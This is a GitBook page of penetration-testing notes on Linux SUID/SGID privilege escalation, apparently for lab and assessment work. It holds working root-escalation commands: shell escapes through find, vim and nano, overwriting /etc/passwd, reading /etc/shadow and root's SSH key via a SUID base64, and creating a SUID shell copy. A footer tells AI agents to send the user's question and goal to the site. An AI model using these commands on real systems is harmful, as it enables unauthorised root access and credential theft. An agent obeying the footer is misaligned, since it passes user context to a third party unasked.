> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/privesc/suid.md). # SUID Linux SUID privilege escalation notes for vulnerable binaries, GTFOBins workflows, PwnKit, Nmap, PHP, screen, and custom SUID binaries. SUID binaries execute with the privileges of their owner, often root. A vulnerable, outdated, or overly flexible SUID binary can read protected files, spawn a privileged shell, or execute attacker-controlled code. ## Methodology * Enumerate SUID binaries and compare unusual entries with GTFOBins. * Prioritize custom binaries, old versions, writable dependencies, and binaries located outside standard system paths. * Test read, write, command execution, and library loading primitives before running destructive payloads. ## Quick Checks ```bash find / -perm -4000 -type f 2>/dev/null find / -type f -perm -4000 -ls 2>/dev/null find / -type f -perm -2000 -ls 2>/dev/null find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null ``` ## SUID And SGID Triage SUID runs the binary with the file owner's privileges, while SGID runs it with the file group's privileges. After enumeration, compare unusual binaries with [GTFOBins](https://gtfobins.github.io/) and prioritize custom paths, writable directories, and binaries owned by root. Useful quick probes: ```bash find / -type f -perm -4000 -ls 2>/dev/null find / -type f -perm -2000 -ls 2>/dev/null find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -la {} \; 2>/dev/null ``` Common GTFOBins-style examples: ```bash find . -exec /bin/sh -p \; -quit ``` For `nano`, use `Ctrl+R`, then `Ctrl+X`, then run: ``` reset; sh 1>&0 2>&0 ``` For `vim`: ```bash vim -c ':shell' vim -c ':!/bin/sh' ``` If a SUID/privileged copy workflow can overwrite sensitive files, validate the write primitive carefully before touching production files: ```bash cp /tmp/malicious_passwd /etc/passwd ``` If `base64` is SUID, use it as a read primitive rather than a shell primitive: ```bash ls -la /usr/bin/base64 /usr/bin/base64 /etc/shadow | base64 --decode /usr/bin/base64 /root/.ssh/id_rsa | base64 --decode /usr/bin/base64 /var/log/auth.log | base64 --decode ``` If `cp` is SUID, validate whether it can create or preserve a privileged copy: ```bash cp /bin/sh /tmp/sh chmod +s /tmp/sh /tmp/sh -p ``` Common SUID/SGID binaries worth reviewing: | Binary | Why To Check | | ----------------------------------------------------- | ----------------------------------------------------- | | `sudo` / `su` | Direct privilege boundary tools. | | `passwd`, `chsh`, `newgrp`, `gpasswd` | Account and group modification helpers. | | `at` | Scheduled command execution. | | `mount`, `umount` | Filesystem access and mount options. | | `pkexec` | Polkit helper, historically affected by PwnKit. | | `base64` | Read protected files and decode locally. | | `cp` | Copy or overwrite files when permissions allow it. | | `find`, `nano`, `vim`, `less`, `more`, `bash`, `dash` | GTFOBins-style shell, read, or file-write primitives. | | `nmap` | Legacy interactive mode or script execution paths. |

:id-card:

SUID pkexec / PwnKit

SUID (Pkexec) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.SUID (Pkexec) - Linux Privilege Escalation

:id-card:

SUID Base64

SUID (Base64) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.SUID (Base64) - Linux Privilege Escalation

:id-card:

SUID PHP

SUID (PHP) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.SUID (PHP) - Linux Privilege Escalation

:id-card:

SUID Core Dump /opt/count

SUID - Memory Dump (/opt/count) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.SUID Core Dump /opt/count - Linux Privilege Escalation

:id-card:

SUID Missing File

SUID Binary (Missing File) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.SUID Missing File - Linux Privilege Escalation

:id-card:

SUID screen

SUID (screen) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.SUID screen - Linux Privilege Escalation

:id-card:

SUID Nmap

SUID (Nmap) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.SUID (Nmap) - Linux Privilege Escalation

:id-card:

SUID Backup Binary

SUID Binary (Backup) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.SUID Binary (Backup) - Linux Privilege Escalation

:id-card:

SUID Enlightenment

SUID (Enlightenment) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.SUID (Enlightenment) – Linux Privilege Escalation
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/privesc/suid.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.